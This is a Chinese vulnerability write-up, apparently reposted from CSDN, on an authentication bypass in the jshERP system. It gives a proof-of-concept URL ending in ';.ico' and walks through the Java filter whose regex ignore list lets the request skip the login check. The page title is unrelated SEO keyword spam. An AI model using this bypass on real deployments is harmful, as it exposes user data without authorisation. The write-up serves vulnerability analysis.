您的位置:首页 > 房产 > 家装 > 源码怎么做网站_日照seo公司_十大收益最好的自媒体平台_如何快速推广一个app

源码怎么做网站_日照seo公司_十大收益最好的自媒体平台_如何快速推广一个app

2024/10/5 19:41:39 来源:https://blog.csdn.net/qq_58000413/article/details/142580614  浏览:    关键词:源码怎么做网站_日照seo公司_十大收益最好的自媒体平台_如何快速推广一个app
源码怎么做网站_日照seo公司_十大收益最好的自媒体平台_如何快速推广一个app

POC:

/jshERP-boot/user/getAllList;.ico
调试分析poc:

        这是poc很明显就是绕过权限,我们分析filter里面的代码。

    @Overridepublic void doFilter(ServletRequest request, ServletResponse response,FilterChain chain) throws IOException, ServletException {HttpServletRequest servletRequest = (HttpServletRequest) request;HttpServletResponse servletResponse = (HttpServletResponse) response;String requestUrl = servletRequest.getRequestURI();//具体,比如:处理若用户未登录,则跳转到登录页Object userId = redisService.getObjectFromSessionByKey(servletRequest,"userId");if(userId!=null) { //如果已登录,不阻止chain.doFilter(request, response);return;}if (requestUrl != null && (requestUrl.contains("/doc.html") ||requestUrl.contains("/register.html") || requestUrl.contains("/login.html"))) {chain.doFilter(request, response);return;}if (verify(ignoredList, requestUrl)) {chain.doFilter(servletRequest, response);return;}if (null != allowUrls && allowUrls.length > 0) {for (String url : allowUrls) {if (requestUrl.startsWith(url)) {chain.doFilter(request, response);return;}}}servletResponse.sendRedirect("/login.html");}

这里需要关注的点是verify方法,我们唯一可以控制的地方。分析verify方法:

    private static String regexPrefix = "^.*";private static String regexSuffix = ".*$";private static boolean verify(List<String> ignoredList, String url) {for (String regex : ignoredList) {Pattern pattern = Pattern.compile(regexPrefix + regex + regexSuffix);Matcher matcher = pattern.matcher(url);if (matcher.matches()) {return true;}}return false;}

这里需要关注的点是ignoredList值,观察以下代码发现ignoredList与ignoredUrl有关。

ignoredUrl的值是请求中默认的,为".ico"

因此poc中结尾包含".ico",即可绕过权限,这里使用分号隔开从而绕过权限。

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com